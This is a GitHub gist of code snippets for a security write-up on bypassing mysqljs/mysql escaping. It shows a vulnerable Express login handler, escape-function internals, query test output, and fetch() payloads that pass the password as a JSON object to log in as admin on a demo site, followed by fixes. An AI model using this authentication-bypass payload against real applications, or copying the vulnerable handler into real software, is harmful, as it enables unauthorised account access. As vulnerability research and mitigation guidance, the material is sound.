Skip to content

Instantly share code, notes, and snippets.

@stypr
Last active May 23, 2022 13:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stypr/9018faa89e96e0a6d4df5b917606cd05 to your computer and use it in GitHub Desktop.
Save stypr/9018faa89e96e0a6d4df5b917606cd05 to your computer and use it in GitHub Desktop.
Finding an unseen SQL Injection by bypassing escape functions in mysqljs/mysql
fetch("https://sqli.blog-demo.flatt.training/auth", {
"headers": {
"accept-language": "en-US,en;q=0.9,ko;q=0.8,ja;q=0.7",
"cache-control": "max-age=0",
"content-type": "application/x-www-form-urlencoded",
...
},
...
"body": "username=admin&password=12341234test",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
fetch("https://sqli.blog-demo.flatt.training/auth", {
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: "username=admin&password=12341234test",
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
fetch("https://sqli.blog-demo.flatt.training/auth", {
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: "username=admin&password[password]=1",
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
data = {
username: "admin",
password: {
password: 1,
},
};
fetch("https://sqli.blog-demo.flatt.training/auth", {
headers: {
"content-type": "application/json",
},
body: JSON.stringify(data),
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
app.post("/auth", function (request, response) {
// Capture the input fields
let username = request.body.username;
let password = request.body.password;
// Ensure the input fields exists and are not empty
if (username && password) {
// Execute SQL query that'll select the account from the database based on the specified username and password
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
// If there is an issue with the query, output the error
if (error) throw error;
// If the account exists
if (results.length > 0) {
// Authenticate the user
request.session.loggedin = true;
request.session.username = username;
// Redirect to home page
response.redirect("/home");
} else {
response.send("Incorrect Username and/or Password!");
}
response.end();
}
);
} else {
response.send("Please enter Username and Password!");
response.end();
}
});
mysql> select password = `password` from accounts;
+-----------------------+
| password = `password` |
+-----------------------+
| 1 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select password = `password` = 1 from accounts;
+---------------------------+
| password = `password` = 1 |
+---------------------------+
| 1 |
+---------------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND password=`password`=1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
mysql> SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND 1;
+----+----------+------------------+------------------+
| id | username | snipped_password | email |
+----+----------+------------------+------------------+
| 1 | admin | da923326 | admin@flatt.tech |
+----+----------+------------------+------------------+
1 row in set (0.00 sec)
$ node main.js
SELECT * FROM accounts WHERE username = 'admin' AND password = 12341234
SELECT * FROM accounts WHERE username = 'admin' AND password = true
SELECT * FROM accounts WHERE username = 'admin' AND password = '1995-12-17 03:24:00.000'
SELECT * FROM accounts WHERE username = 'admin' AND password = `0` = 't', `1` = 'e', `2` = 's', `3` = 't', `4` = '_', `5` = 'p', `6` = 'a', `7` = 's', `8` = 's', `9` = 'w', `10` = 'o', `11` = 'r', `12` = 'd', `13` = '_', `14` = 's', `15` = 't', `16` = 'r', `17` = 'i', `18` = 'n', `19` = 'g'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'test_password_string'
SELECT * FROM accounts WHERE username = 'admin' AND password = 'array_test_1', 'array_test_2'
SELECT * FROM accounts WHERE username = 'admin' AND password = ('a', 'b'), ('c', 'd')
SELECT * FROM accounts WHERE username = 'admin' AND password = `obj_key_1` = 'obj_val_1'
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
SELECT * FROM accounts WHERE username = 'admin' AND password = NULL
SqlString.escape = function escape(val, stringifyObjects, timeZone) {
if (val === undefined || val === null) {
return 'NULL';
}
switch (typeof val) {
case 'boolean': return (val) ? 'true' : 'false';
case 'number': return val + '';
case 'object':
if (val instanceof Date) {
return SqlString.dateToString(val, timeZone || 'local');
} else if (Array.isArray(val)) {
return SqlString.arrayToList(val, timeZone);
} else if (Buffer.isBuffer(val)) {
return SqlString.bufferToString(val);
} else if (typeof val.toSqlString === 'function') {
return String(val.toSqlString());
} else if (stringifyObjects) {
return escapeString(val.toString());
} else {
return SqlString.objectToValues(val, timeZone);
}
default: return escapeString(val);
}
};
...
SqlString.objectToValues = function objectToValues(object, timeZone) {
var sql = '';
for (var key in object) {
var val = object[key];
if (typeof val === 'function') {
continue;
}
sql += (sql.length === 0 ? '' : ', ') + SqlString.escapeId(key) + ' = ' + SqlString.escape(val, true, timeZone);
}
return sql;
};
/*
main.js
Test code for different types
*/
var mysql = require("mysql");
// connection
var connection = mysql.createConnection({
host: "localhost",
user: "login",
password: "login",
database: "login",
});
// log query
connection.on("enqueue", function (sequence) {
if ("Query" === sequence.constructor.name) {
console.log(sequence.sql);
}
});
// username and password
var username = "admin";
var password_list = [
12341234, // Numbers
true, // Booleans
new Date("December 17, 1995 03:24:00"), // Date
new String("test_password_string"), // String Object
"test_password_string", // String
["array_test_1", "array_test_2"], // Array
[
["a", "b"],
["c", "d"],
], // Nested Array
{ obj_key_1: "obj_val_1" }, // Object
undefined,
null,
];
// What will happen?
for (i in password_list) {
var sql = "SELECT * FROM accounts WHERE username = ? AND password = ?";
connection.query(
sql,
[username, password_list[i]],
function (error, results, fields) {}
);
}
/*
Running the following code in your browser will execute the following code in the backend.
> SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1;
And the executed query will eventually be simplified into the following query
> SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1;
> SELECT * FROM accounts WHERE username = 'admin';
*/
data = {
username: "admin",
password: {
password: 1,
},
};
fetch("https://sqli.blog-demo.flatt.training/auth", {
headers: {
"content-type": "application/json",
},
body: JSON.stringify(data),
method: "POST",
mode: "cors",
credentials: "include",
})
.then((r) => r.text())
.then((r) => {
console.log(r);
});
...
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
...
var connection = mysql.createConnection({
...,
stringifyObjects: true,
});
...
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
// Reject different type
if (typeof username != "string" || typeof password != "string"){
response.send("Invalid parameters!");
response.end();
return;
}
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
var connection = mysql.createConnection({
host: "db",
user: "login",
password: "login",
database: "login",
stringifyObjects: true,
});
...
var connection = mysql.createConnection({
host: "db",
user: "login",
password: "login",
database: "login",
});
...
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
// Reject different value types
if (typeof username != "string" || typeof password != "string"){
response.send("Invalid parameters!");
response.end();
return;
}
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
app.post("/auth", function (request, response) {
var username = request.body.username;
var password = request.body.password;
if (username && password) {
connection.query(
"SELECT * FROM accounts WHERE username = ? AND password = ?",
[username, password],
function (error, results, fields) {
...
}
);
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment